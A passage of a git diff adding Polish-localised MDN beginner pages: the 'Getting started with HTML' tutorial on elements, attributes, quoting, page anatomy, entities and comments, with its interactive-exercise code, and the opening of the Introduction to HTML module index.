+<p><strong>Note</strong>: Find useful reference pages that include lists of block and inline elements. See <a href="/en-US/docs/Web/HTML/Block-level_elements">Block-level elements</a> and <a href="/en-US/docs/Web/HTML/Inline_elements">Inline elements</a>.</p>
+</div>
+
+<h3 id="Puste_elementy">Puste elementy</h3>
+
+<p>Not all elements follow the pattern of an opening tag, content, and a closing tag. Some elements consist of a single tag, which is typically used to insert/embed something in the document. For example, the {{htmlelement("img")}} element embeds an image file onto a page:</p>
+
+<pre class="brush: html notranslate">&lt;img src="https://raw.githubusercontent.com/mdn/beginner-html-site/gh-pages/images/firefox-icon.png"&gt;</pre>
+
+<p>This would output the following:</p>
+
+<p>{{ EmbedLiveSample('Empty_elements', 700, 300, "", "", "hide-codepen-jsfiddle") }}</p>
+
+<div class="note">
+<p><strong>Note</strong>: Empty elements are sometimes called <em>void elements</em>.</p>
+</div>
+
+<h2 id="Atrybuty">Atrybuty</h2>
+
+<p>Elements can also have attributes. Attributes look like this:</p>
+
+<p><img alt='&amp;amp;amp;amp;amp;amp;amp;lt;p class="editor-note">My cat is very grumpy&amp;amp;amp;amp;amp;amp;amp;lt;/p>' src="https://mdn.mozillademos.org/files/9345/grumpy-cat-attribute-small.png" style="display: block; height: 156px; margin: 0px auto; width: 1287px;"></p>
+
+<p>Attributes contain extra information about the element that won't appear in the content. In this example, the <strong><code>class</code></strong> attribute is an identifying name used to target the element with style information.</p>
+
+<p>An attribute should have:</p>
+
+<ul>
+ <li>A space between it and the element name. (For an element with more than one attribute, the attributes should be separated by spaces too.)</li>
+ <li>The attribute name, followed by an equal sign.</li>
+ <li>An attribute value, wrapped with opening and closing quote marks.</li>
+</ul>
+
+<h3 id="Aktywne_uczenie_się_Dodawanie_atrybutów_do_elementu">Aktywne uczenie się: Dodawanie atrybutów do elementu</h3>
+
+<p>Another example of an element is {{htmlelement("a")}}. This stands for <em>anchor</em>. An anchor can make the text it encloses into a hyperlink. Anchors can take a number of attributes, but several are as follows:</p>
+
+<ul>
+ <li><strong><code>href</code></strong>: This attribute's value specifies the web address for the link. For example: <code>href="https://www.mozilla.org/"</code>.</li>
+ <li><strong><code>title</code></strong>: The <code>title</code> attribute specifies extra information about the link, such as a description of the page that is being linked to. For example, <code>title="The Mozilla homepage"</code>. This appears as a tooltip when a cursor hovers over the element.</li>
+ <li><strong><code>target</code></strong>: The <code>target</code> attribute specifies the browsing context used to display the link. For example, <code>target="_blank"</code> will display the link in a new tab. If you want to display the linked content in the current tab, just omit this attribute.</li>
+</ul>
+
+<p>Edit the line below in the <em>Input</em> area to turn it into a link to your favorite website.</p>
+
+<ol>
+ <li>Add the <code>&lt;a&gt;</code> element.</li>
+ <li>Add the <code>href</code> attribute and the <code>title</code> attribute.</li>
+ <li>Specify the <code>target</code> attribute to open the link in the new tab.</li>
+</ol>
+
+<p>You'll be able to see your changes update live in the <em>Output</em> area. You should see a link—that when hovered over—displays the value of the <code>title</code> attribute, and when clicked, navigates to the web address in the <code>href</code> attribute. Remember that you need to include a space between the element name, and between each attribute.</p>
+
+<p>If you make a mistake, you can always reset it using the <em>Reset</em> button. If you get really stuck, press the <em>Show solution</em> button to see the answer.</p>
+
+<div class="hidden">
+<h6 id="Playable_code2">Playable code2</h6>
+
+<pre class="brush: html notranslate">&lt;h2&gt;Live output&lt;/h2&gt;
+
+&lt;div class="output" style="min-height: 50px;"&gt;
+&lt;/div&gt;
+
+&lt;h2&gt;Editable code&lt;/h2&gt;
+&lt;p class="a11y-label"&gt;Press Esc to move focus away from the code area (Tab inserts a tab character).&lt;/p&gt;
+
+&lt;textarea id="code" class="input" style="min-height: 100px;width: 95%"&gt;
+ &amp;lt;p&amp;gt;A link to my favorite website.&amp;lt;/p&amp;gt;
+&lt;/textarea&gt;
+
+&lt;div class="playable-buttons"&gt;
+ &lt;input id="reset" type="button" value="Reset"&gt;
+ &lt;input id="solution" type="button" value="Show solution"&gt;
+&lt;/div&gt;</pre>
+
+<pre class="brush: css notranslate">html {
+ font-family: sans-serif;
+}
+
+h2 {
+ font-size: 16px;
+}
+
+.a11y-label {
+ margin: 0;
+ text-align: right;
+ font-size: 0.7rem;
+ width: 98%;
+}
+
+body {
+ margin: 10px;
+ background: #f5f9fa;
+}</pre>
+
+<pre class="brush: js notranslate">var textarea = document.getElementById('code');
+var reset = document.getElementById('reset');
+var solution = document.getElementById('solution');
+var output = document.querySelector('.output');
+var code = textarea.value;
+var userEntry = textarea.value;
+
+function updateCode() {
+ output.innerHTML = textarea.value;
+}
+
+reset.addEventListener('click', function() {
+ textarea.value = code;
+ userEntry = textarea.value;
+ solutionEntry = htmlSolution;
+ solution.value = 'Show solution';
+ updateCode();
+});
+
+solution.addEventListener('click', function() {
+ if(solution.value === 'Show solution') {
+ textarea.value = solutionEntry;
+ solution.value = 'Hide solution';
+ } else {
+ textarea.value = userEntry;
+ solution.value = 'Show solution';
+ }
+ updateCode();
+});
+
+var htmlSolution = '&lt;p&gt;A link to my &lt;a href="https://www.mozilla.org/" title="The Mozilla homepage" target="_blank"&gt;favorite website&lt;/a&gt;.&lt;/p&gt;';
+var solutionEntry = htmlSolution;
+
+textarea.addEventListener('input', updateCode);
+window.addEventListener('load', updateCode);
+
+// stop tab key tabbing out of textarea and
+// make it write a tab at the caret position instead
+
+textarea.onkeydown = function(e){
+ if (e.keyCode === 9) {
+ e.preventDefault();
+ insertAtCaret('\t');
+ }
+
+ if (e.keyCode === 27) {
+ textarea.blur();
+ }
+};
+
+function insertAtCaret(text) {
+ var scrollPos = textarea.scrollTop;
+ var caretPos = textarea.selectionStart;
+
+ var front = (textarea.value).substring(0, caretPos);
+ var back = (textarea.value).substring(textarea.selectionEnd, textarea.value.length);
+ textarea.value = front + text + back;
+ caretPos = caretPos + text.length;
+ textarea.selectionStart = caretPos;
+ textarea.selectionEnd = caretPos;
+ textarea.focus();
+ textarea.scrollTop = scrollPos;
+}
+
+// Update the saved userCode every time the user updates the text area code
+
+textarea.onkeyup = function(){
+ // We only want to save the state when the user code is being shown,
+ // not the solution, so that solution is not saved over the user code
+ if(solution.value === 'Show solution') {
+ userEntry = textarea.value;
+ } else {
+ solutionEntry = textarea.value;
+ }
+
+ updateCode();
+};</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code2', 700, 400, "", "", "hide-codepen-jsfiddle") }}</p>
+
+<h3 id="Atrybuty_logiczne">Atrybuty logiczne</h3>
+
+<p>Sometimes you will see attributes written without values. This is entirely acceptable. These are called Boolean attributes. Boolean attributes can only have one value, which is generally the same as the attribute name. For example, consider the {{htmlattrxref("disabled", "input")}} attribute, which you can assign to form input elements. (You use this to <em>disable</em> the form input elements so the user can't make entries. The disabled elements typically have a grayed-out appearance.) For example:</p>
+
+<pre class="notranslate">&lt;input type="text" disabled="disabled"&gt;</pre>
+
+<p>As shorthand, it is acceptable to write this as follows:</p>
+
+<pre class="brush: html notranslate">&lt;!-- using the disabled attribute prevents the end user from entering text into the input box --&gt;
+&lt;input type="text" disabled&gt;
+
+&lt;!-- text input is allowed, as it doesn't contain the disabled attribute --&gt;
+&lt;input type="text"&gt;
+</pre>
+
+<p>For reference, the example above also includes a non-disabled form input element.The HTML from the example above produces this result:</p>
+
+<p>{{ EmbedLiveSample('Boolean_attributes', 700, 100, "", "", "hide-codepen-jsfiddle") }}</p>
+
+<h3 id="Pomijanie_cudzysłowia_przy_wartościach_atrybutu">Pomijanie cudzysłowia przy wartościach atrybutu</h3>
+
+<p>If you look at code for a lot of other sites, you might come across a number of strange markup styles, including attribute values without quotes. This is permitted in certain circumstances, but it can also break your markup in other circumstances. For example, if we revisit our link example from earlier, we could write a basic version with <em>only</em> the <code>href</code> attribute, like this:</p>
+
+<pre class="brush: html notranslate">&lt;a href=https://www.mozilla.org/&gt;favorite website&lt;/a&gt;</pre>
+
+<p>However, as soon as we add the <code>title</code> attribute in this way, there are problems:</p>
+
+<pre class="example-bad brush: html notranslate">&lt;a href=https://www.mozilla.org/ title=The Mozilla homepage&gt;favorite website&lt;/a&gt;</pre>
+
+<p>As written above, the browser misinterprets the markup, mistaking the <code>title</code> attribute for three attributes:  a title attribute with the value <em>The</em>, and two Boolean attributes, <code>Mozilla</code> and <code>homepage</code>. Obviously, this is not intended! It will cause errors or unexpected behavior, as you can see in the live example below. Try hovering over the link to view the title text!</p>
+
+<p>{{ EmbedLiveSample('Omitting_quotes_around_attribute_values', 700, 100, "", "", "hide-codepen-jsfiddle") }}</p>
+
+<p>Always include the attribute quotes. It avoids such problems, and results in more readable code.</p>
+
+<h3 id="Cudzysłów_pojedynczy_czy_podwójny">Cudzysłów pojedynczy czy podwójny?</h3>
+
+<p>In this article you will also notice that the attributes are wrapped in double quotes. However, you might see single quotes in some HTML code. This is a matter of style. You can feel free to choose which one you prefer. Both of these lines are equivalent:</p>
+
+<pre class="brush: html notranslate">&lt;a href="http://www.example.com"&gt;A link to my example.&lt;/a&gt;
+
+&lt;a href='http://www.example.com'&gt;A link to my example.&lt;/a&gt;</pre>
+
+<p>Make sure you don't mix single quotes and double quotes. This example (below) shows a kind of mixing quotes that will go wrong:</p>
+
+<pre class="example-bad brush: html notranslate">&lt;a href="http://www.example.com'&gt;A link to my example.&lt;/a&gt;</pre>
+
+<p>However, if you use one type of quote, you can include the other type of quote <em>inside</em> your attribute values:</p>
+
+<pre class="brush: html notranslate">&lt;a href="http://www.example.com" title="Isn't this fun?"&gt;A link to my example.&lt;/a&gt;</pre>
+
+<p>To use quote marks inside other quote marks of the same type (single quote or double quote), use <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Getting_started#Entity_references_Including_special_characters_in_HTML">HTML entities</a>. For example, this will break:</p>
+
+<pre class="example-bad brush: html notranslate">&lt;a href='http://www.example.com' title='Isn't this fun?'&gt;A link to my example.&lt;/a&gt;</pre>
+
+<p>Instead, you need to do this:</p>
+
+<pre class="brush: html notranslate">&lt;a href='http://www.example.com' title='Isn&amp;#39;t this fun?'&gt;A link to my example.&lt;/a&gt;</pre>
+
+<h2 id="Anatomia_dokumentu_HTML">Anatomia dokumentu HTML</h2>
+
+<p>Individual HTML elements aren't very useful on their own. Next, let's examine how individual elements combine to form an entire HTML page:</p>
+
+<pre class="brush: html notranslate">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+ &lt;head&gt;
+ &lt;meta charset="utf-8"&gt;
+ &lt;title&gt;My test page&lt;/title&gt;
+ &lt;/head&gt;
+ &lt;body&gt;
+ &lt;p&gt;This is my page&lt;/p&gt;
+ &lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<p>Here we have:</p>
+
+<ol>
+ <li><code>&lt;!DOCTYPE html&gt;</code>: The doctype. When HTML was young (1991-1992), doctypes were meant to act as links to a set of rules that the HTML page had to follow to be considered good HTML. Doctypes used to look something like this:
+
+ <pre class="notranslate">&lt;!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
+"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"&gt;</pre>
+ More recently, the doctype is a historical artifact that needs to be included for everything else to work right. <code>&lt;!DOCTYPE html&gt;</code> is the shortest string of characters that counts as a valid doctype. That is all you need to know!</li>
+ <li><code>&lt;html&gt;&lt;/html&gt;</code>: The {{htmlelement("html")}} element. This element wraps all the content on the page. It is sometimes known as the root element.</li>
+ <li><code>&lt;head&gt;&lt;/head&gt;</code>: The {{htmlelement("head")}} element. This element acts as a container for eveything you want to include on the HTML page, <strong>that isn't the content</strong> the page will show to viewers. This includes keywords and a page description that would appear in search results, CSS to style content, character set declarations, and more. You'll learn more about this in the next article of the series.</li>
+ <li><code>&lt;meta charset="utf-8"&gt;</code>: This element specifies the character set for your document to UTF-8, which includes most characters from the vast majority of human written languages. With this setting, the page can now handle any textual content it might contain. There is no reason not to set this, and it can help avoid some problems later.</li>
+ <li><code>&lt;title&gt;&lt;/title&gt;</code>: The {{htmlelement("title")}} element. This sets the title of the page, which is the title that appears in the browser tab the page is loaded in. The page title is also used to describe the page when it is bookmarked.</li>
+ <li><code>&lt;body&gt;&lt;/body&gt;</code>: The {{htmlelement("body")}} element. This contains <em>all</em> the content that displays on the page, including text, images, videos, games, playable audio tracks, or whatever else.</li>
+</ol>
+
+<h3 id="Aktywne_uczenie_się_Dodawanie_paru_właściwości_do_dokumentu_HTML">Aktywne uczenie się: Dodawanie paru właściwości do dokumentu HTML</h3>
+
+<p>If you want to experiment with writing some HTML on your local computer, you can:</p>
+
+<ol>
+ <li>Copy the HTML page example listed above.</li>
+ <li>Create a new file in your text editor.</li>
+ <li>Paste the code into the new text file.</li>
+ <li>Save the file as <code>index.html</code>.</li>
+</ol>
+
+<div class="note">
+<p><strong>Note</strong>: You can also find this basic HTML template on the <a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/getting-started/index.html">MDN Learning Area Github repo</a>.</p>
+</div>
+
+<p>You can now open this file in a web browser to see what the rendered code looks like. Edit the code and refresh the browser to see what the result is. Initially the page looks like this:</p>
+
+<p><img alt="A simple HTML page that says This is my page" src="https://mdn.mozillademos.org/files/12279/template-screenshot.png" style="display: block; height: 365px; margin: 0px auto; width: 595px;">In this exercise, you can edit the code locally on your computer, as described previously, or you can edit it in the sample window below (the editable sample window represents just the contents of the {{htmlelement("body")}} element, in this case). Sharpen your skills by implementing the following tasks:</p>
+
+<ul>
+ <li>Just below the opening tag of the {{htmlelement("body")}} element, add a main title for the document. This should be wrapped inside an <code>&lt;h1&gt;</code> opening tag and <code>&lt;/h1&gt;</code> closing tag.</li>
+ <li>Edit the paragraph content to include text about a topic that you find interesting.</li>
+ <li>Make important words stand out in bold by wrapping them inside a <code>&lt;strong&gt;</code> opening tag and <code>&lt;/strong&gt;</code> closing tag.</li>
+ <li>Add a link to your paragraph, as <a href="/en-US/Learn/HTML/Introduction_to_HTML/Getting_started#Active_learning_Adding_attributes_to_an_element">explained earlier in the article</a>.</li>
+ <li>Add an image to your document. Place it below the paragraph, as <a href="/en-US/Learn/HTML/Introduction_to_HTML/Getting_started#Empty_elements">explained earlier in the article</a>. Earn bonus points if you manage to link to a different image (either locally on your computer, or somewhere else on the web).</li>
+</ul>
+
+<p>If you make a mistake, you can always reset it using the <em>Reset</em> button. If you get really stuck, press the <em>Show solution</em> button to see the answer.</p>
+
+<div class="hidden">
+<h6 id="Playable_code3">Playable code3</h6>
+
+<pre class="brush: html notranslate">&lt;h2&gt;Live output&lt;/h2&gt;
+
+&lt;div class="output" style="min-height: 50px;"&gt;
+&lt;/div&gt;
+
+&lt;h2&gt;Editable code&lt;/h2&gt;
+&lt;p class="a11y-label"&gt;Press Esc to move focus away from the code area (Tab inserts a tab character).&lt;/p&gt;
+
+&lt;textarea id="code" class="input" style="min-height: 100px;width: 95%"&gt;
+ &amp;lt;p&amp;gt;This is my page&amp;lt;/p&amp;gt;
+&lt;/textarea&gt;
+
+&lt;div class="playable-buttons"&gt;
+ &lt;input id="reset" type="button" value="Reset"&gt;
+ &lt;input id="solution" type="button" value="Show solution"&gt;
+&lt;/div&gt;</pre>
+
+<pre class="brush: css notranslate">html {
+ font-family: sans-serif;
+}
+
+h1 {
+ color: blue;
+}
+
+h2 {
+ font-size: 16px;
+}
+
+.a11y-label {
+ margin: 0;
+ text-align: right;
+ font-size: 0.7rem;
+ width: 98%;
+}
+
+img {
+ max-width: 100%;
+}
+
+body {
+ margin: 10px;
+ background: #f5f9fa;
+}</pre>
+
+<pre class="brush: js notranslate">var textarea = document.getElementById('code');
+var reset = document.getElementById('reset');
+var solution = document.getElementById('solution');
+var output = document.querySelector('.output');
+var code = textarea.value;
+var userEntry = textarea.value;
+
+function updateCode() {
+ output.innerHTML = textarea.value;
+}
+
+reset.addEventListener('click', function() {
+ textarea.value = code;
+ userEntry = textarea.value;
+ solutionEntry = htmlSolution;
+ solution.value = 'Show solution';
+ updateCode();
+});
+
+solution.addEventListener('click', function() {
+ if(solution.value === 'Show solution') {
+ textarea.value = solutionEntry;
+ solution.value = 'Hide solution';
+ } else {
+ textarea.value = userEntry;
+ solution.value = 'Show solution';
+ }
+ updateCode();
+});
+
+var htmlSolution = '&lt;h1&gt;Some music&lt;/h1&gt;&lt;p&gt;I really enjoy &lt;strong&gt;playing the drums&lt;/strong&gt;. One of my favorite drummers is Neal Peart, who\ plays in the band &lt;a href="https://en.wikipedia.org/wiki/Rush_%28band%29" title="Rush Wikipedia article"&gt;Rush&lt;/a&gt;.\ My favourite Rush album is currently &lt;a href="http://www.deezer.com/album/942295"&gt;Moving Pictures&lt;/a&gt;.&lt;/p&gt;\ &lt;img src="http://www.cygnus-x1.net/links/rush/images/albums/sectors/sector2-movingpictures-cover-s.jpg"&gt;';
+var solutionEntry = htmlSolution;
+
+textarea.addEventListener('input', updateCode);
+window.addEventListener('load', updateCode);
+
+// stop tab key tabbing out of textarea and
+// make it write a tab at the caret position instead
+
+textarea.onkeydown = function(e){
+ if (e.keyCode === 9) {
+ e.preventDefault();
+ insertAtCaret('\t');
+ }
+
+ if (e.keyCode === 27) {
+ textarea.blur();
+ }
+};
+
+function insertAtCaret(text) {
+ var scrollPos = textarea.scrollTop;
+ var caretPos = textarea.selectionStart;
+
+ var front = (textarea.value).substring(0, caretPos);
+ var back = (textarea.value).substring(textarea.selectionEnd, textarea.value.length);
+ textarea.value = front + text + back;
+ caretPos = caretPos + text.length;
+ textarea.selectionStart = caretPos;
+ textarea.selectionEnd = caretPos;
+ textarea.focus();
+ textarea.scrollTop = scrollPos;
+}
+
+// Update the saved userCode every time the user updates the text area code
+
+textarea.onkeyup = function(){
+ // We only want to save the state when the user code is being shown,
+ // not the solution, so that solution is not saved over the user code
+ if(solution.value === 'Show solution') {
+ userEntry = textarea.value;
+ } else {
+ solutionEntry = textarea.value;
+ }
+
+ updateCode();
+};</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code3', 700, 600, "", "", "hide-codepen-jsfiddle") }}</p>
+
+<h3 id="Białe_znaki_w_HTMLu">Białe znaki w HTMLu</h3>
+
+<p>In the examples above, you may have noticed that a lot of whitespace is included in the code. This is optional. These two code snippets are equivalent:</p>
+
+<pre class="brush: html notranslate">&lt;p&gt;Dogs are silly.&lt;/p&gt;
+
+&lt;p&gt;Dogs are
+ silly.&lt;/p&gt;</pre>
+
+<p>No matter how much whitespace you use inside HTML element content (which can include one or more space character, but also line breaks), the HTML parser reduces each sequence of whitespace to a single space when rendering the code. So why use so much whitespace? The answer is readability.<br>
+ <br>
+ It can be easier to understand what is going on in your code if you have it nicely formatted. In our HTML we've got each nested element indented by two spaces more than the one it is sitting inside. It is up to you to choose the style of formatting (how many spaces for each level of indentation, for example), but you should consider formatting it.</p>
+
+<h2 id="Znaki_specjalne_w_HTML">Znaki specjalne w HTML</h2>
+
+<p>In HTML, the characters <code>&lt;</code>, <code>&gt;</code>,<code>"</code>,<code>'</code> and <code>&amp;</code> are special characters. They are parts of the HTML syntax itself. So how do you include one of these special characters in your text? For example, if you want to use an ampersand or less-than sign, and not have it interpreted as code.</p>
+
+<p>You do this with character references. These are special codes that represent characters, to be used in these exact circumstances. Each character reference starts with an ampersand (&amp;), and ends with a semicolon (;).</p>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Literal character</th>
+ <th scope="col">Character reference equivalent</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>&lt;</td>
+ <td>&amp;lt;</td>
+ </tr>
+ <tr>
+ <td>&gt;</td>
+ <td>&amp;gt;</td>
+ </tr>
+ <tr>
+ <td>"</td>
+ <td>&amp;quot;</td>
+ </tr>
+ <tr>
+ <td>'</td>
+ <td>&amp;apos;</td>
+ </tr>
+ <tr>
+ <td>&amp;</td>
+ <td>&amp;amp;</td>
+ </tr>
+ </tbody>
+</table>
+
+<p>The character reference equivalent could be easily remembered because the text it uses can be seen as less than for '&amp;lt;' , quotation for ' &amp;quot; ' and similarly for others. To find more about entity reference, see <a class="external text" href="http://en.wikipedia.org/wiki/List_of_XML_and_HTML_character_entity_references" rel="nofollow">List of XML and HTML character entity references</a> (Wikipedia).<br>
+ <br>
+ In the example below, there are two paragraphs:</p>
+
+<pre class="brush: html notranslate">&lt;p&gt;In HTML, you define a paragraph using the &lt;p&gt; element.&lt;/p&gt;
+
+&lt;p&gt;In HTML, you define a paragraph using the &amp;lt;p&amp;gt; element.&lt;/p&gt;</pre>
+
+<p>In the live output below, you can see that the first paragraph has gone wrong. The browser interprets the second instance of <code>&lt;p&gt;</code> as starting a new paragraph. The second paragraph looks fine because it has angle brackets with character references.</p>
+
+<p>{{ EmbedLiveSample('Entity_references_Including_special_characters_in_HTML', 700, 200, "", "", "hide-codepen-jsfiddle") }}</p>
+
+<div class="note">
+<p><strong>Note</strong>: You don't need to use entity references for any other symbols, as modern browsers will handle the actual symbols just fine as long, as your HTML's <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML#Specifying_your_document's_character_encoding">character encoding is set to UTF-8</a>.</p>
+</div>
+
+<h2 id="Komentarze_HTML">Komentarze HTML</h2>
+
+<p>HTML has a mechanism to write comments in the code. Browsers ignore comments,  effectively making comments invisible to the user. The purpose of comments is to allow you to include notes in the code to explain your logic or coding. This is very useful if you return to a code base after being away for long enough that you don't completely remember it. Likewise, comments are invaluable as different people are making changes and updates.</p>
+
+<p>To write an HTML comment, wrap it in the special markers <code>&lt;!--</code> and <code>--&gt;</code>. For example:</p>
+
+<pre class="brush: html notranslate">&lt;p&gt;I'm not inside a comment&lt;/p&gt;
+
+&lt;!-- &lt;p&gt;I am!&lt;/p&gt; --&gt;</pre>
+
+<p>As you can see below, only the first paragraph displays in the live output.</p>
+
+<p>{{ EmbedLiveSample('HTML_comments', 700, 100, "", "", "hide-codepen-jsfiddle") }}</p>
+
+<h2 id="Podsumowanie">Podsumowanie</h2>
+
+<p>You made it to the end of the article! We hope you enjoyed your tour of the basics of HTML.<br>
+ <br>
+ At this point, you should understand what HTML looks like, and how it works at a basic level. You should also be able to write a few elements and attributes. The subsequent articles of this module go further on some of the topics introduced here, as well as presenting other concepts of the language.</p>
+
+<div class="note">
+<p><strong>Note</strong>: As you start to learn more about HTML, consider learning the basics of Cascading Style Sheets, or <a href="/en-US/docs/Learn/CSS">CSS</a>. CSS is the language used to style web pages. (for example, changing fonts or colors, or altering the page layout) HTML and CSS work well together, as you will soon discover.</p>
+</div>
+
+<h2 id="Zobacz_również">Zobacz również</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/HTML/Applying_color">Applying color to HTML elements using CSS</a></li>
+</ul>
+
+<div>{{NextMenu("Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML", "Learn/HTML/Introduction_to_HTML")}}</div>
+
+<div></div>
+
+<h2 id="W_tym_module">W tym module</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Getting_started">Getting started with HTML</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML">What’s in the head? Metadata in HTML</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals">HTML text fundamentals</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks">Creating hyperlinks</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Advanced_text_formatting">Advanced text formatting</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Document_and_website_structure">Document and website structure</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Debugging_HTML">Debugging HTML</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Marking_up_a_letter">Marking up a letter</a></li>
+ <li><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Structuring_a_page_of_content">Structuring a page of content</a></li>
+</ul>
diff --git a/files/pl/learn/html/introduction_to_html/index.html b/files/pl/learn/html/introduction_to_html/index.html
new file mode 100644
index 0000000000..055f512d4c
--- /dev/null
+++ b/files/pl/learn/html/introduction_to_html/index.html
@@ -0,0 +1,67 @@
+---
+title: Wprowadzenie do HTML
+slug: Learn/HTML/Introduction_to_HTML
+translation_of: Learn/HTML/Introduction_to_HTML
+---
+<div>{{LearnSidebar}}</div>
+
+<p>W samym sercu, HTML jest dość prostym językiem składającym się z elementów, które można zastosować do fragmentów tekstu, aby nadać im różne znaczenie w dokumencie (Czy jest to akapit? Czy jest to wypunktowana lista? Czy jest to część tabeli?), ułożyć dokument w logiczne sekcje (Czy ma nagłówek? Trzy kolumny treści? Menu nawigacyjne?), a także osadzić treści takie jak obrazy i filmy na stronie. Ten moduł wprowadzi pierwsze dwa z nich i wprowadzi podstawowe pojęcia i składnie, które musisz znać, aby zrozumieć HTML.</p>
+
+
+
+<h2 id="Wymagania_wstępne">Wymagania wstępne</h2>
+
+<p>Nie wymagamy od Ciebie żadnych umiejętności związanych z HTML na początku tego kursu. Wymagane są jednak umiejętności obsługi komputera, a także podstawowa "pasywna" znajomość sieci (umiejętność przeglądania i przyswajania stron internetowych). Powinieneś mieć ustawione podstawowe środowisko (zgodnie z instrukcją z <a href="https://developer.mozilla.org/en-US/docs/Learn/Getting_started_with_the_web/Installing_basic_software">Installing basic software</a>), a także rozumieć, jak tworzyć i zarządzać plikami (tak jak zostało to dokładnie wytłumaczone w <a href="https://developer.mozilla.org/en-US/docs/Learn/Getting_started_with_the_web/Dealing_with_files">Dealing with files</a>). Te dwie rzeczy są częścią naszego tutoriala dla początkujących <a href="https://developer.mozilla.org/en-US/docs/Learn/Getting_started_with_the_web">Getting started with the web</a>.</p>
+
+<div class="note">
+<p><strong>Notatka</strong>: Jeżeli pracujesz na komputerze/tablecie/innym urządzeniu, na którym nie możesz stworzyć plików, możesz wypróbować (przynajmniej większość) nasze przykłady w specjalnych serwisach, takich jak <a href="http://jsbin.com/">JSBin</a> czy <a href="https://thimble.mozilla.org/">Thimble</a>.</p>
+</div>
+
+<h2 id="Tutoriale">Tutoriale</h2>
+
+<p>Ten moduł składa się z poniższych artykułów, które wprowadzą Cię w podstawy HTML i dadzą możliwość wypróbowania nabytych umiejętności.</p>
+
+<dl>
+ <dt><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Getting_started">Rozgrzewanie silników HTML</a></dt>
+ <dd>Zajmuje się absolutnymi podstawani HTML - definiujemy elementy, atrybuty i inne ważne pojęcia, a także pokazuje jaką funkcję spełniają one w języku. Pokazuje w jaki sposób jest zbudowana typowa strona w HTML, wraz z budową samych elementów, a także wyjaśnia inne, podstawowe cechy języka. Podczas nauki zainteresujemy Cię HTML poprzez zabawę!</dd>
+ <dt><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/The_head_metadata_in_HTML">Co jest w głowie (headzie)? Metadata w HTML</a></dt>
+ <dd>Znacznik <a href="/en-US/docs/Glossary/Head">head</a> i jego zawartość w dokumencie HTML<strong> nie jest</strong> wyświetlany kiedy strona zostaje załadowana. Zawiera on informacje takie jak {{htmlelement("title")}} (tytuł strony),  linki do {{glossary("CSS")}} (Jeżeli chcesz dodać stylowanie do zawartości html), linki do własnych faviconów, a także metadane (dane o stronie, takie jak autor i słowa, które opisują dokument).</dd>
+ <dt><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals">Podstawy tekstu w HTML</a></dt>
+ <dd>Głównym zadaniem HTML jest nadanie znaczenia tekstowi (także znane jako <a href="/en-US/docs/Glossary/Semantics">semantyka</a>), w taki sposób, aby przeglądarka wiedziała, jak wyświetlić go w prawidłowy sposób. Ten artykuł zajmuje się użyciem HTML w taki sposób, aby podzielić tekst na logiczne structury nagłówków i paragrafów, nadać większe znaczenie niektórym słowom, stworzyć listy, a także wiele innych.</dd>
+ <dt><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Creating_hyperlinks">Tworzenie hiperłączy</a></dt>
+ <dd>Hiperłącza są ważną częścią internetu - to one sprawiają, że sieć to sieć. Artykuł zajmuje się składnią hiperłączy a także omawia najlepsze praktyki ich tworzenia i użycia.</dd>
+ <dt><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Advanced_text_formatting">Zaawansowane formatowanie tekstu</a></dt>
+ <dd>Istnieją inne elementy HTMLa, których można użyć do formatowania i nie zostały omówione w artykule <a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/HTML_text_fundamentals">Podstawy tekstu w HTML.</a> Elementy użyte tutaj są mniej znane, jednak nadal warte poznania. Artykuł ten zajmuje się oznaczaniem cytatów, list opisowych, kodu w językach programowania, a także innych podobnych, indeksów - górnego i dolnego, danych kontaktów, a także wielu innych.</dd>
+ <dt><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Document_and_website_structure">Struktura strony i dokumentu</a></dt>
+ <dd>HTML używane jest nie tylko do definiowania pojedynczych części strony ("paragraf" czy "zdjęcie"), lecz także do zaznaczenia większych częci strony (na przykład "nagłówek", "menu nawigacyjne" czy "główna zawartość"). Ten artykuł zajmuje się planowaniem struktury strony, a także jak pisać HTML, aby odwzorować daną struktrurę.</dd>
+ <dt><a href="/en-US/docs/Learn/HTML/Introduction_to_HTML/Debugging_HTML">Debugowanie HTML</a></dt>
+ <dd>Pisanie HTML jest fajne, ale nie zawsze wszystko idzie jak z płatka. Zdarzają się sytuacje gdy "coś nie działa", a Ty nie masz pojęcia, co jest nie tak. Ten artykuł pokaże techniki i narzędzia, które są przydatne w takich sytuacjach.</dd>
+</dl>
+
+<h2 id="Zadania">Zadania</h2>
+
+<p>Poniższe zadania mają na celu przetetowanie Twojej znajomości podstaw HTML, które zostały przedstawione w artykułach wyżej.</p>
+
+<dl>
